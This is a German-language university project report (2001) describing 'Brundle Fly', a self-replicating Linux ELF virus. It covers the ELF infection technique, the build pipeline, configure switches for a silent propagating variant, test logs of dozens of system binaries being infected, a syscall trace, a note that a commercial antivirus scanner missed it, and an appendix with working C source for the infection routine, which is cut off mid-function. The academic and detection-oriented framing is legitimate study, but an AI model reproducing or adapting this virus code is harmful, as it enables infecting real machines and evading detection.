Operating Systems, final project
Konrad Rieck,
Konrad Kretschmer

BRUNDLE FLY

A good-natured Linux ELF virus

Sources

Brundle Fly Version 0.0.1
`brundle-fly-0.0.1.tar.gz`

Inhalt

1 Einleitung

Brundle Fly (BF) ist ein gutartiger Linux ELF virus. BF wurde für die Prozessorarchitektur des Intel 80386 und Folgeversionen konzipiert. Der Virus repliziert sich selbständig innerhalb eines Systems und wurde erfolgreich unter folgenden Kernel Versionen getestet: 2.2.17, 2.4.1, 2.4.3 und 2.4.5

BF ist bibliotheks-unabhängig und kann als Lebensraum sowohl Systeme mit LibC5 also auch System mit GlibC befallen. Um einen Wirt zu befallen nutzt BF eine Eigenschaft des Memory Managements von Linux aus. Programme werden unter Linux seitenweise (Seite = 4096 Bytes) in den Speicher geladen. Da Programme nur selten sich exakt in Seiten zerlegen lassen, entsteht ein kleiner Speicherbereich, der es ermöglicht zusätzlichen Programmcode an das Programm anzuhängen. Dieses einfache Verfahren zum Einfügen des Virus beschränkt allerdings auch seine Größe auf maximal 4096 Bytes.

Es existieren 3 Varianten von BF

- `brundle-fly-default`

  Die normale Variante des Virus infiziert nur die Datei `host` andere Dateien werden nicht befallen, wird der Viruscode

ausgeführt, so sendet er eine Warnung zum `STDOUT` (Virusgröße ~ 1400 Byte).

- `brundle-fly-propagation`

  Diese Variante ist wesentlich aggressiver und repliziert sich innerhalb des Systems. Allerdings wird bei jeder Aktivierung des Virus die selbe Warnung zum `STDOUT` geschickt. (Virusgröße ~ 2000 Byte)
- `brundle-fly-propagation-no-warning`

  Bei dieser Variante handelt es sich um den eigentlichen Virus, es wird keine Warnung ausgegeben und der Virus vermehrt sich innerhalb des Systems. (Virusgröße ~ 1900 Byte).
  Diese Variante können wir leider nicht zum Download anbieten!

BF ist verwandt mit den Bliss, VIT und Siilov Linux ELF Viren. BF stellt einen direkten Nachfolger des VIT Virus dar.

2 Details der Implementierung

2.1 Das ELF Format

Eine ELF Datei gliedert sich in drei Typen von Daten: Segmente, Header und Sektionen. Segmente können hierbei entweder Textsegmente oder Datensegmente sein. Textsegmente enthalten ausführbaren Programmcode, während hingegen Datensegmente, die von dem Program benötigten Daten enthalten. Es existieren wiederum drei Typen von Headern, der allgemeine ELF Header, mehrere Programm Header und mehrere Sektions Header. Die Programm und Sektions Header sind jeweils über die Programm Header bzw. Sektions Header Tabelle zu erreichen. In den Sektionen befinden sich Informationen über die Symbole des Codes, Relokations-Adressen, etc.

Eine ELF Datei

```
ELF Header
Programm Header Tabelle
Segment (Daten / Text)
Segment (Daten / Text)
...
Sektions Header Tabelle
Sektion
Sektion
...
```

Wie in der Einleitung erwähnt wird der Inhalt eines Programmes seitenweise in den Speicher geladen, dadurch entsteht das folgende Szenario. Hierbei repräsentiert `t` einen Bereich eines Textsegments, `d` einen Bereich eines Datensegments und `u` einen unbenutzen Bereich.

Struktur innerhalb der Datei

```
|Page 0 Byte               4096 Bytes | Page 0 Byte
|ttttttttttttttttttttttttttttttttdddd|ddddddddddddddddddddddd
```

Struktur innerhalb des Speichers

```
|Page 0 Byte               4096 Bytes | Page 0 Byte
|ttttttttttttttttttttttttttttttttuuuu|ddddddddddddddddddddddd
```

2.2 Integration des Virus

Hat der Virus ein mögliches Opfer gefunden, so liesst er den ELF Header (`ehdr`) des Opfers ein und ermittelt so die Positionen der Programm Header Tabelle (`phdrs`) und der Sektions Header Tabelle (`shdrs`). Die zwei Tabellen und der ELF Header werden in den Speicher gelesen und der Virus sucht nach einem Textsegment, dass sich nicht exakt in Seiten zerlegen lässt. Findet er ein solches Segment, so beginnt er mit der Integration des Virus.

Der Startpunkt einer ELF Datei wird durch die Variable `e_entry` innerhalb des ELF Headers gekennzeichnet. Diese Variable setzt der Virus um auf seinen eigenen Startpunkt `virus_entry` und gleichzeitig ändert er seinen Endpunkt `host_entry`, so dass nach Ausführung des Virus wieder zum ursprünglichen Startpunkt gesprungen wird. `v` markiert einen Bereich den der Virus verwendet, `s` ist der originale Startpunkt, `e` der Startpunkt des Virus und `h` der Endpunkt des Virus.

Struktur innerhalb des Speichers

```
|Page 0 Byte                                    4096 Bytes
|ttttttttsttttttttttttttttttttttttvvvevvvvvvvhuuuuuuuuuuuu
         ^                              ^      |
         |                              |      |
e_entry----------------------------+      |
```

```
         +---------------------------------+

h = host_entry, e = virus_entry
```

Um eine Kopie von sich selbst zu erzeugen ist es für BF außerdem nötig, seinen eigentlichen Beginn `b` und seine Länge `l` zu kennen.

Struktur innerhalb des Speichers

```
                                  <--- l --->
|Page 0 Byte                                    4096 Bytes
|ttttttttsttttttttttttttttttttttttbvvevvvvvvhuuuuuuuuuuuu
         ^                           ^      |
         |                           |      |
e_entry--------------------------------+     |
         +---------------------------------+

h = host_entry, e = virus_entry
b = virus_start, l = virus_length
```

2.3 Modifikationen an der Wirtsdatei

Neben der oben beschrieben Änderung der Variable `e_entry`, ändert BF noch weitere Daten der originalen ELF Datei. Da er sich in ein Textsegment einfügt, muss er die Größe dieses Segments, sowohl im Speicher als auch in der Datei verändern, dieses geschieht durch Änderung der Programm Header Variablen `p_memsz` und `p_filesz`.

Das Einfügen des Virus hat auch zur Folge, dass alle folgende Programm Header und Sektions Header nun ein unterschiedliches Offset zum Dateibeginn besitzen. Für alle diese Header müssen also auch Modifikationen vorgenommen werden, es ist eine Veränderung der Variablen `sh_offset` und `p_offset` nötig.

2.4 Interna des Virus

Als Konzept wurde BF bibliotheks-unabhängig gestaltet, dass heisst für alle Operationen, die BF durchführt müssen entweder eigene Funktionen implementiert sein oder auf System Calls zurück gegriffen werden. Die Systemcalls werden direkt per Makro über den Interrupt 0x80 angesprochen. Um eine Kompatibiltät mit 2.2er Kerneln zu gewährleisten, werden konsequent nur die 32Bit Varianten der Posix System Calls verwendet, im Detail:

```
write(), read(), lseek(), open(), close(), fstat(), fchown(), fchmod(),
getdents(), rename(), acces(), brk(), time()
```

Da BF sich direkt in das Textsegment des Wirtes kopiert, kann der Virus nicht auf ein eigenes Datensegment zurück greifen. Alle nötigen Daten müssen also in das Textsegment des Virus kopiert werden, damit er auf diese Zugriff hat. (Siehe Kompilierung, `finetune`). Einige der oben genannten System Calls erwarten allerdings einen absoluten Adresswert auf dem Stack. Hierzu nutzt BF einen Trick.

Eine normale Adressierung mit absoluter Adresse

```
.text
   pushl   VAR1
   call    SYS_CALL
...
   ret

.data
   string  VAR1 "foobar"
```

Während des kompilierens des Assemblercodes ersetzt der Assembler das `VAR1` durch die absolute Adresse. Innerhalb des Virus ist dies natürlich nicht möglich. Der folgende Trick stellt eine Lösung des Problems dar.

```
.text
   jmp     VAR1
LABEL:
   call    SYS_CALL
...
   ret

.data
```

```
VAR1:
   call    LABEL
   string  "foorbar"
```

Bevor also der System Call aufgerufen wird, springt der Prozessor direkt an die Position `VAR1` und von dort per `call` direkt wieder zurück. Der Trick hierbei liegt in der Funktionsweise von `call`. Die `call` Instruktion legt die absolute Adresse des nachfolgenden Befehls auf den Stack. Da diese Adresse in diesem Fall, die Adresse des Strings ist, befindet sich also eine absolute Adresse der Variable auf dem Stack und der System Call kann diese verarbeiten.

2.5 Wirtssuche

Nachdem BF ausgführt wird durchsucht er die folgenden Verzeichnisse nach möglichen Wirten: ./, ../. und ../../.. Er prüft hierbei, ob es sich bei den Dateien um schreibbare ELF Dateien handelt, die ein genügend großes Textsegment enhalten. Um nicht all zu sehr auszufallen befällt BF nur jede dritte Datei und wählt per Zufall (`time()`) aus, welches Verzeichnis er untersucht. BF prüft nicht, ob ein Wirt bereits schon befallen ist, es kann also durchaus auch zu mehrfach Befall kommenen (siehe Vermehrung).

Um auch über Verzeichnisse zu springen, prüft BF ob seine Ursprungsdatei relativ aufgerufen wurde, in diesem Fall sucht er innerhalb eines hart-kodierten Pfades nach sich selbst. Kann er sich selbst finden, so kopiert er den eigentlich Virus Code in den Speicher und führt die Integration durch. Durch diese Technik gelangt der Virus weit von seinem Ursprungsort entfernt in fremde Verzeichnisse.

3 Kompilierung

BF wird in verschiedenen Schichten kompiliert. Als Ursprung liegt eine C Datei vor `brundle-fly-proto.c`, die den reinen C Codes des Virus enthält.

```
brundle-fly-proto.c       C Datei des Virus
 |
 | 1. gcc -S brundle-fly-proto.c
 v
brundle-fly-proto.s       Assembler Datei des Virus
 |
 | 2. finetune brundle-fly-proto.s brundle-plain.s
 v
brundle-fly-plain.s       Modifizierte Assembler Datei
 |
 | 3. as -o brundle-fly-plain.o brundle-fly-plain.s
 v
brundle-fly-plain.o       Kompilierte Datei des Virus
 |
 | 4. ld -o brundle-fly-linked.o brundle-fly-plain.o
 v
brundle-fly-linked.o      Neu gelinkte Datei des Virus
 |
 | 5. elf2bin brundle-fly-linked.o brundle-fly.c
 v
brundle-fly.c             C Datei, die den Virus als char[] enthält
 |
 | 6. gcc -o inject brundle-fly.c inject.c
 v
inject                    Injektionsprogramm
 |
 | 7. inject host brundle-fly
 v
brundle-fly               Lebender Virus in dem Wirt "host"
```

3.1 Details zu den Schritten

1. `gcc -S brundle-fly-proto.c`

   Der Prototyp von BF wird mittels des GNU C Compilers in eine Assembler Datei umgewandelt.

2. `finetune brundle-fly-proto.s brundle-plain.s`

   Das Programm `finetune`erstellt die oben beschrieben Modifikationen, d.h. bewegt etwaige Daten in das Textsegment und erstellt die jeweilige Umgebung mit `jmp`und `call`Anweisungen. Es werden zu dem `push`und `pop`Anweisungen eingefügt, die sicherstellen, dass die meisten Register während des Ausführung des Virus gesichert sind.

Das Programm `finetune`ist allerdings kein Assembler Parser, sollte es dem Programm nicht gelingen den Code korrekt zu modifizieren, so schlägt der nächste Schritt fehl. In diesem Fall ist es nötig entweder den C Code zu modifzieren, oder die Probleme per Hand aus der Assembler Datei zu entfernen.

3. `as -o brundle-fly-plain.o brundle-fly-plain.s`

   Die modifizierte Assembler Version des Virus wird kompiliert zu einem ELF Objekt.

4. `ld -o brundle-fly-linked.o brundle-fly-plain.o`

   Dieser Schritt ist nötig, da neuere Versionen des GNU Assemblers realokierbaren Code innerhalb von BF erzeugen. Um diese lästigen Bereiche zu entfernen, muss das gesamte ELF Objekt noch einmal gelinkt werden. Realokierbare Stellen werden dadurch entfernt.

5. `elf2bin brundle-fly-linked.o brundle-fly.c`

   Aus dem so erzeugten ELF Objekt wird nun der reine Code des Virus ausgelesen und in ein Array von Charakters umgewandelt. `elf2bin`erledigt hierbei auch die nötigen Modifikationen an den Variablen `virus_length`, `host_entry`, `virus_start`und `virus_length`. Die Werte für diese Variablen lassen sich erst in diesem Schritt korrekt bestimmen.

6. `gcc -o inject brundle-fly.c inject.c`

   Die so erzeugte C Datei wird nun in das Programm `inject`eingebunden, dass in seiner Arbeitsweise dem Virus selbst sehr ähnlich ist und dazu dient den Virus in einen Wirt zu injezieren. `inject`ist allerdings wesentlich übersichtlicher programmiert, es musste keine Rücksicht auf die Größe und Funktionsweise des Codes gelegt werden.

7. `inject host brundle-fly`

   Am Ende der Bearbeitung erhalten wir so eine infizierte Datei.

4 Lebensweise

4.1 Vermehrung

Um die Lebensweise des Virus zu überprüfen haben wir den Virus auf einem User Mode Linux ausgesetzt und sein Verhalten beobachtet. Leider konnten wir auf dem vorgegeben System den Virus nicht kompilieren, da sowohl Compiler als auch Assembler nicht mit BF kompatibel waren. Allerdings liess sich ein auf einem anderen System infizierter Virus auf das User Mode Linux übertragen.

```
# inject /bin/du du
- Infecting /bin/du to du
  Virus length: 2021
  Host entry:   1822
  Virus entry:  1345
- Looking for suitable text segment: .. found
- Virtual virus start at 0x0804c44c
- Physical virus start at 0x0000444c
- Patching virus_data[369] (virus_start) to 0x0000444c
- Patching virus_data[1822] (host_entry) to 0x08048d44
- Increasing file/mem size 17484 by 2021
- Fixing following phdr offsets: ... done
- Fixing following shdr offsets: .......... done
- Fixing shdr tabel offset if necessary.
- Starting to write infected binary: ........ done
# mv du /bin
```

Als Start injezierten wir BF in den Befehl `du` und kopierten diesen anschliessend wieder an seinen Ursprungsort. Wir führten dann `du` genau 10 mal auf unterschiedlichen Verzeichnissen aus.

```
# cd /bin
# du
WARNING: brundle-fly infected!
320 .
# du
WARNING: brundle-fly infected!
484 .
# cd /usr/bin
# du
WARNING: brundle-fly infected!
4684 .
# du
WARNING: brundle-fly infected!
```

```
4832 .
...
```

Schon während der Ausführung von `du`, ist deutlich zu beobachten, wie sich der Inhalt des Verzeichnisses vergrößert. Es ist also davon auszugehen, dass etliche Dateien befallen wurden Eine Suche erbrachte dann erschreckende Resultat.

```
# grep infected /bin/* /usr/bin/*
Binary file /bin/ash matches
Binary file /bin/bash1 matches
Binary file /bin/bzip2recover matches
Binary file /bin/chgrp matches
Binary file /bin/compress matches
Binary file /bin/csh matches
Binary file /bin/du matches
Binary file /bin/getopt matches
Binary file /bin/getoptprog matches
Binary file /bin/gunzip matches
Binary file /bin/mkfifo matches
Binary file /bin/ps matches
Binary file /bin/red matches
Binary file /bin/rm matches
Binary file /bin/sleep matches
Binary file /bin/sln matches
Binary file /bin/su matches
Binary file /bin/telnet matches
Binary file /bin/umount matches
Binary file /usr/bin/awk matches
Binary file /usr/bin/bpe matches
Binary file /usr/bin/clear matches
Binary file /usr/bin/col matches
Binary file /usr/bin/colrm matches
Binary file /usr/bin/compress matches
Binary file /usr/bin/dirname matches
Binary file /usr/bin/disable-paste matches
Binary file /usr/bin/elvtags matches
Binary file /usr/bin/env matches
Binary file /usr/bin/expiry matches
...
[56 Weitere Resultate]
```

Um sicherzustellen, dass diese infizierten Dateien auch funktionieren, wurden einige wahllose Tests durchgeführt.

```
# who
WARNING: brundle-fly infected!
root     ttys/1   Jul 11 16:32
root     ttys/2   Jul 11 16:31

# ps
Unknown HZ value! (20) Assume 100.
WARNING: brundle-fly infected!
  PID TTY          TIME CMD
  120 pts/0    00:00:00 bash
  554 pts/0    00:00:00 ps

# strings
WARNING: brundle-fly infected!
WARNING: brundle-fly infected!

# tee
WARNING: brundle-fly infected!

# ash
WARNING: brundle-fly infected!
\u@\h:\w\$ exit

# pinky
WARNING: brundle-fly infected!
Login       Name             TTY       Idle   When         Where
root                          ttys/1          Jul 11 16:32
root                          ttys/2   00:07  Jul 11 16:31
```

Am Beispiel des `strings` Befehl ist eine doppelte Infizierung sichtbar. Die Warnung wird hier gleich zweimal ausgegeben und somit auch der Virus Code zweimal ausgeführt.

4.2 Ein Blick ins Innere

Um die Arbeitsweise des Virus nicht anhand des Codes zu zeigen, haben wir einen kleinen Auszug aus einem System Call Trace des Virus währen einer Infektion erstellt. Die Funktionsweise wird anhand der System Calls deutlich.

```
# strace /bin/du
execve("/bin/du", ["/bin/du"], [/* 29 vars */]) = 0
[...]
```

Als ersten Schritt prüft BF, ob seine Ausgangsdatei erreichbar ist, ist dies nicht der Fall, so besteht keine Möglichkeit den Virus Code aus der Quelle in den Wirt zu Kopieren.

```
access("/bin/du", F_OK)                 = 0
```

Es wird nun mit Hilfe der Zeit ausgewählt welches Verzeichnis nach mögliche Wirten zu durchsuchen ist. In diesem Beispiel wurde das Verzeichnis . aus gewählt

```
time(NULL)                              = 994869381
open("./", O_RDONLY)                    = 3
getdents(3, /* 84 entries */, 4096)     = 1452
close(3)                                = 0
```

Nach dem ein Wirt gefunden wurde, wird erst geprüft, ob dieser schreibbar und ausführbar ist, andernfalls bricht der Virus ab. Werden diese Bedingungen erfüllt, so liesst BF seinen eigenen Virus Code aus der Quelle ein.

```
access("./bash1", W_OK|X_OK)            = 0
open("/bin/du", O_RDONLY)               = 5
lseek(5, 17484, SEEK_SET)               = 17484
read(5, "\203\354\34UWVS\213|$0\213t$41\355\212\7\4\322<\1w\v\353"...,
2021) close(5)                                  = 0
```

Nun wird das Opfer, der Wirt, untersucht. Die Datei wird geöffnet. Zu dem öffnet BF auch eine temporäre Datei ".. ", die als Zwischenspeicher dient während eine Kopie des Wirtes erzeugt wird. Informationen über den Wirt werden mittels `fstat()` eingelesen.

```
open("./bash1", O_RDONLY)               = 5
open(".. ", O_WRONLY|O_CREAT, 0600)     = 6
fstat(5, {st_mode=S_IFREG|0755, st_size=295012, ...}) = 0
```

Nach erfolgreichem Öffnen des Wirtes, wird dessen ELF Header eingelesen. Dies ist deutlich an den ersten 5 Byte zu erkennen.

```
read(5, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0d\240\4"..., 52) =
52
```

Jetzt allokiert BF mittel `brk()` dynamischen Speicher auf dem Heap, um in diesem die Programm Header Tabelle und die Sektions Header Tabelle zu speichern. Beide Tabellen werden dann eingelesen.

```
brk(0x804dd48)                          = 0x804dd48
lseek(5, 52, SEEK_SET)                  = 52
read(5, "\6\0\0\0004\0\0\0004\200\4\0104\200\4\10\300\0\0\0\300"..., 192)
lseek(5, 293972, SEEK_SET)              = 293972
read(5, "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 1040)
```

Die einzelnen Schritte der Modifikation des Wirtes sind ohne System Calls realisiert und lassen sich hier nicht erkennen. Nach dem die ELF Header, die Programm Header und Sektions Header Tabellen modifziert sind, wird der Virus eingefügt und die Datei geschlossen.

```
write(6, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\2\0\3\0\1\0\0\0\330\233"..., 52)
= 52
write(6, "\6\0\0\0004\0\0\0004\200\4\0104\200\4\10\300\0\0\0\300"..., 192)
= 192
[...]
close(5)                                = 5
```

Abschliessend wird die temporäre Datei ".. " in das Original umgewandelt. Die Benutzerrechte als auch der Benutzer werden vom originalen Wirt übernommen.

```
rename(".. ", "./bash1")                = 0
fchmod(6, 037777700755)                 = 0
fchown(6, 0, 1)                         = 0
close(6)
```

Hier ist nur der Befall einer Datei dargestellt in unserem tatsächlichen Durchlauf wurden 24 Dateien während einer einzigen Ausführung befallen, obwohl nur 45% jeder dritten Datei verwendeten wurde (Siehe Ausbreitungsrate)

5 Weitere Informationen

5.1 Ausbreitungsrate

Das Script `cnthosts` ermöglicht es zu prüfen wieviel Dateien BF auf einem System infizieren kann. Da ja das Textsegment genug Platz enthalten muss, erreicht BF nur eine Quote von 45% auf einem normalen Slackware Linux 7.x.

```
$ cd src
$ make stats
./cnthosts /usr/bin /bin /usr/local/bin /usr/sbin

This script would like to scan the following directories for files
that represent potential hosts for the brundly-fly virus. It will
not inject the virus. It will calculate some statistics.

/usr/bin /bin /usr/local/bin /usr/sbin

Is this okay [y/n]: y

Counting possible hosts
.....o.......ooo.........oooo...o..o.....o..o.o....oo..o.o...o.....
..oo..o.o.o.ooo..ooooo.....oo.o.o.o...o...o.o..o...oooo...ooo......
.o.oo..ooo.o.oooo...oo..ooo.......ooooo.....o.........o.o.....o..oo
..ooo.o.ooooo.oo...oooo...o..o.o.o.ooo.oooo..o.o..o.oo.o....oooo...
.....ooo.o..o.o.o..ooo...o.......oo.oo.o....oo.oooo.o.o..o.o.o.o...
....ooo..oo.oo.oo.ooo..o.oooo.o.oo..o.o.o..oo.o...o.oooooo......o..
.o..o...ooo...o.o.oo.ooo.oooo....o...o...o*.ooooo.oooo.ooo.ooo....o
o.ooo.o...o...oo.....oo.oooooo.ooo..o..oo..oo.o*o.oo....o.oo.*.o...
o..o..o.o..oo.ooooo.oo...ooo..o.o.oo..o.....o...oo......o..oo.o.o..
.ooooo..o..o..ooo.ooooo.oo.oooo...ooo..o.ooo.*

329 binaries could be infected.
388 binaries could not be infected.
Percentage: 45%
```

Es ergibt sich so eine Vermehrungsrate von 1/3 * 0.45, da BF nur jede dritte Datei befällt. Wie allerdings der obige Vermehrungstest zeigt, ist dennoch die Wirkung von BF fatal. Sein Wachstum ist zudem exponential.

5.2 Viruserkennung

Der BF Virus läßt sich rein technisch relativ einfach erkennen. In Dateien die Debug Informationen enthalten, führt das Einfügen des Virus zu einem Chaos innerhalb dieser Informationen. Jeder Debugger erkennt die korrupten Debug Symbole und sollte eine Warnung erzeugen.

Sind die Dateien allerdings gestrippt, so stellt sich die Erkennung nicht ganz so einfach dar. Typischerweise befinden sich allerdings bei fast allen ELF Programmen die Startpunkte des Codes innerhalb des Anfangs des Textsegments, ein Sprung an den Ende des Segments wie bei BF ist untypisch. BF enthält zudem sehr einfach zuerkennende festkodierte Zeichenketten wie "../../." oder "/usr/bin:/bin", diese sollten in mehreren Programmen innerhalb eines Verzeichnisses nicht enthalten sein. Der Code selbst sollte auch eine gute Signatur liefern.

Obwohl die von uns verwendeten Techniken nicht neu sind, sondern von den 4 existierenden Linux Viren, Bliss, VIT und Siilov entstammen, war das einzige Anti-Viren Programm, das nicht als RPM vorlag, nicht in der Lage den Virus zu identifizieren.

```
# sweep /home/seth
SWEEP virus detection utility
Version 3.47, July 2001 [Linux/Intel]
```

```
Includes detection for 64894 viruses, trojans and worms
Copyright (c) 1989,2001 Sophos Plc, www.sophos.com

System time 01:09:34, System date 10 July 2001

Quick Sweeping

157 files swept in 8 seconds.
No viruses were discovered.
End of Sweep.
```

Viele Linux Anti-Viren Programme waren nur kommerziell erhältlich oder in dem für Slackware leider etwas unbrauchbaren RPM Format.

5.3 Neukompilierung

BF benutzt die GNU Configure Tools. Eine Kompilierung ist daher denkbar einfach:

```
$ tar -zxvf brundle-fly-0.0.1.tar.gz
$ cd brundle-fly-0.0.1
$ ./configure
$ make
```

Neben anderen Configure Switches, stehen zwei besondere Varianten zur Verfügung, die es erlauben die in der Einleitung beschriebenen Varianten von BF zu erzeugen. Bei der Verwendung von keinen Configure Switches wird die Version `brundle-fly-default` erstellt.

`--with-propagation`
Ist dieser Switch gesetzt, so wird BF so konfiguriert, dass er sich selbst innerhalb des Systems repliziert, diese Version ist also deutlich gefährlicher als die Default Version, die nur eine Datei befällt. Vorsicht!

`--with-no-warning`
Ist dieser Switch und der vorherige gesetzt, so entsteht die bösartigste Variante von BF. Der so erzeugte Virus repliziert sich über das ganze System und gibt keine Warnung aus. Mehr als Vorsicht!

BF nutzt das geschickte Zusammenspiel von GNU C Compiler, Assembler und Linker. Leider verhalten sich unterschiedliche Versionen auch sehr unterschiedlich und es kann passieren, dass der erstellte Virus unbrauchbar ist. Ein typisches Zeichen hiefür ist die Fehlermeldung "`illegal instruction`". Um sicher zu gehen empfehlen wir eine der folgenden Konfigurationen, die gute Resultat lieferen (Allerdings war der Virus auf jedem System unerschiedlich groß und der Code nicht identisch!)

```
 - Linux kernel 2.4.5, gcc 2.95.3, as 2.9.1, ld 2.9.1
 - Linux kernel 2.4.3, gcc 2.95.4, as 2.11.90.0.7, ld 2.11.90.0.7
 - Linux kernel 2.2.17, gcc 2.95.2, as 2.9.5, ld 2.9.5
```

Auf anderen Systemen ist erst die Default Version zu erstellen und diese mittels `strace` zu testen, funktioniert diese einwandfrei so lassen sich auch die beiden anderen erzeugen.

5.4 Weiteres

Auf Grund des Umfanges konnten wir nicht auf alle kleinen Details von BF eingehen, es empfiehlt sich also ein Blick in den Code - gut dokumentiert sollte er sein.

Wie jedes gute Programm ist auch Brundle Fly mit einer Widmung ausgestattet. Das Projekt ist Seth Brundle gewidmet, der tragischen-komischen Figur des Wissenschaftlers aus dem Remake von "The Fly".

Konrad Rieck & Konrad Kretschmer
12.7.2001

Anhang

Es folgt der C Code von Brundle Fly enthalten in der Datei `brundle-fly-proto.c`.

```
/*
```

```
 * Brundle Fly - Good-natured Linux ELF virus supporting kernel 2.2 and 2.4
 * Copyright 2001 Konrad Rieck <kr@r0q.cx>, Konrad Kretschmer <kk@r0q.cx>
 * In memory to Seth Brundle
 *
 * This file is the actual Brundle Fly virus. It performs the replication.
 * Read through the source in order to find all important parts of the
 * code.
 *
 * $Id: brundle-fly.html,v 1.2 2001/09/28 12:51:28 kr Exp $
 */

#include <sys/types.h>
#include <config.h>
#include <structs.h>
#include <syscalls.h>
#include <brundle-fly.h>
#include <elfio.h>

/*
 * A simple function that tries to find the binary filename in the
 * hard-coded path given by path_env. A temporary space tmp has to be
 * provided in order to construct the different paths.
 */
char *get_path(char *filename, char *tmp, char *path_env)
{
    char *p, *t, *f;
    int i, found = 0;

    /*
     * If the filename starts with / or . return.
     */
    if (*filename == '/' || *filename == '.')
        return filename;

    p = path_env;

    while (!found && *p != 0) {
        t = tmp;
        f = filename;

        /*
         * Add a path from path_env to t
         */
        for (; *p != ':'; p++, t++)
            *t = *p;

        /*
         * Append the filename f to t
         */
        for (; *f != 0; f++, t++)
            *t = *f;
        *t = 0;

        /*
         * Check if the constructed filename exists
         */
        if (access(tmp, F_OK) > -1)
            return tmp;

        p++;
    }

    /*
     * If the file could not be found the given paths return the
     * original filename.
     */
    return filename;
}

/*
 * This functions copies len bytes from src to dst. It doesn't keep track
 * of the file position pointers, lseek() instruction have to be issued
 * before calling copy().
 */
void copy(int src, int dst, size_t len)
{
```

```
    int i, r = PAGE_SIZE;
    char buf[PAGE_SIZE];

    /*
     * Use chunks of PAGE_SIZE for copying in order to avoid dynamic
     * memory allocation.
     */
    for (i = len; i > 0; i -= PAGE_SIZE) {
        if (i < PAGE_SIZE)
            r = i;
        read(src, buf, r);
        write(dst, buf, r);
    }
}

/*
 * This is the workhorse of Brundle Fly. It infects host by the virus
 * included in source. The file tmp is used to construct the copy and
 * at the end moved to the host filename.
 */
int inject(char *host, char *source, char *tmp)
{
    int src, dst, i;
    unsigned long shdrs_len, phdrs_len, virt_start;
    unsigned long real_start, secstart, position;

    /*
     * These five values have to patched after the virus has been compiled.
     * They include information about the compiled virus, such as where it
     * starts (virus_start), where the host should enter virus
     * (virus_entry), where the virus has to jump after execution
     * (host_entry), the virus length (virus_length) and the offset of the
     * virus_start field (virus_start_off).
     */
    unsigned long virus_entry = 0xabcdabcd;
    unsigned long host_entry = 0xfeedfeed;
    unsigned long virus_length = 0xbefabefa;
    unsigned long virus_start = 0xfacafaca;
    int virus_start_off = 0xfaabfaab;

    char virus_data[PAGE_SIZE];

    Elf_Phdr *phdrs, *ptmp;
    Elf_Shdr *shdrs, *stmp;
    Elf_Ehdr ehdr;
    struct stat st;

    /*
     * Check we have write permission and the host is executable. Brundle
     * Fly can also infect libraries since those are relatively equaly to
     * executable binaries. Remove the X_OK check to infect libraries.
     */
    if (access(host, X_OK | W_OK | F_OK) < 0)
        goto error;

    /*
     * Open the source file and copy the complete virus to the array
     * virus_data. As you can see we use virus_start and virus_length.
     * That's why they need to be patched later (elf2bin).
     */
    src = open(source, O_RDONLY, 0);
    lseek(src, virus_start, SEEK_SET);
    read(src, virus_data, virus_length);
    close(src);

    /*
     * Open the host file and the tmp file. If this is not possible,
     * be a good boy and return.
     */
    if ((src = open(host, O_RDONLY, 0)) < 0)
        goto error;
    if ((dst = open(tmp, O_WRONLY | O_CREAT, 0600)) < 0)
        goto error;

    /*
     * Retrieve stats about the host file. We will later need the host
```

```
 * file size, its modes and its owner.
 */
if (fstat(src, &st) < 0)
    goto error;

/*
 * Read the ELF header in to memory. The ehdr struct is on the stack,
 * therefore we don't need to care for dynamic memory.
 */
if (read(src, (char *) &ehdr, sizeof(Elf_Ehdr)) < sizeof(Elf_Ehdr))
    goto error;

/*
 * Check if this really is an ELF file, that is either exectuable
 * or includes dynamically linkable code. Last but not least check
 * if this is really i386 code, we don't want to play with those
 * SPARC / MIPS / ... Linux freaks.
 */
if (ehdr.e_ident[0] != ELFMAG0 || ehdr.e_ident[1] != ELFMAG1 ||
    ehdr.e_ident[2] != ELFMAG2 || ehdr.e_ident[3] != ELFMAG3 ||
    (ehdr.e_type != ET_EXEC && ehdr.e_type != ET_DYN) ||
    ehdr.e_machine != EM_386)
    goto error;

shdrs_len = sizeof(Elf_Shdr) * ehdr.e_shnum;
phdrs_len = sizeof(Elf_Phdr) * ehdr.e_phnum;

/*
 * After calculating the size for the section and the program headers,
 * we need to allocate the necessary memory. Brundle Fly is optimised
 * for size, virt_start is used as a temporary variable don't get
 * confused.
 */
virt_start = brk(0);
i = virt_start + shdrs_len + phdrs_len;

/*
 * If for some reason, we cannot allocate the memory, we leave
 * everything behind, working with not allocated memory causes
 * suspicious segmentation faults.
 */
if (brk(i) != i)
    goto error;

/*
 * We set the both pointers to our new allocated memory.
 */
phdrs = (Elf_Phdr *) virt_start;
shdrs = (Elf_Shdr *) (virt_start + phdrs_len);

/*
 * Now it's time to read in the program and section headers. We are not
 * checking for errors. In case something goes wrong from this point on,
 * erhm, bad luck!
 */
lseek(src, ehdr.e_phoff, SEEK_SET);
read(src, (char *) phdrs, phdrs_len);
lseek(src, ehdr.e_shoff, SEEK_SET);
read(src, (char *) shdrs, shdrs_len);


/*
 * Iterate through the different program headers and look for a segment
 * that olds the text segment. Also check that this segment has equal
 * memory size and file size. If file size and memory size don't match,
 * this segment has a bss section at the end.
 */
for (i = 0, ptmp = phdrs; i < ehdr.e_phnum; i++, ptmp++)
    if (ptmp->p_type == PT_LOAD && ptmp->p_memsz == ptmp->p_filesz)
        break;

/*
 * Oops, we could not find a suitable text segment, time to leave,
 * there is nothing to do, this file is already broken.
 */
if (i == ehdr.e_phnum)
```

```
    goto error;

/*
 * Set virt_start to the virtual address the virus will start at and
 * set real_start to the physical address the virus will start at.
 */
virt_start = ptmp->p_vaddr + ptmp->p_filesz;
real_start = ptmp->p_offset + ptmp->p_filesz;

/*
 * Patch the virus code for our victim host. Set the host_entry variable
 * to point to ehdr.entry and the set virus_start to real_start (done by
 * using our varibale virus_start_off).
 */
*(int *) &virus_data[host_entry] = ehdr.e_entry;
*(int *) &virus_data[virus_start_off] = real_start;

/*
 * After saving the ehdr.entry in host_entry, override it in the ELF
 * header by our virus_entry + the virutal address the virus starts at.
 */
ehdr.e_entry = virt_start + virus_entry;

/*
 * We increased the text segment, therefore adjust the size of this
 * segment in memory and in the file.
 */
ptmp->p_memsz = ptmp->p_filesz += virus_length;

/*
 * Check if there is enough space in the text segment for Brundle Fly.
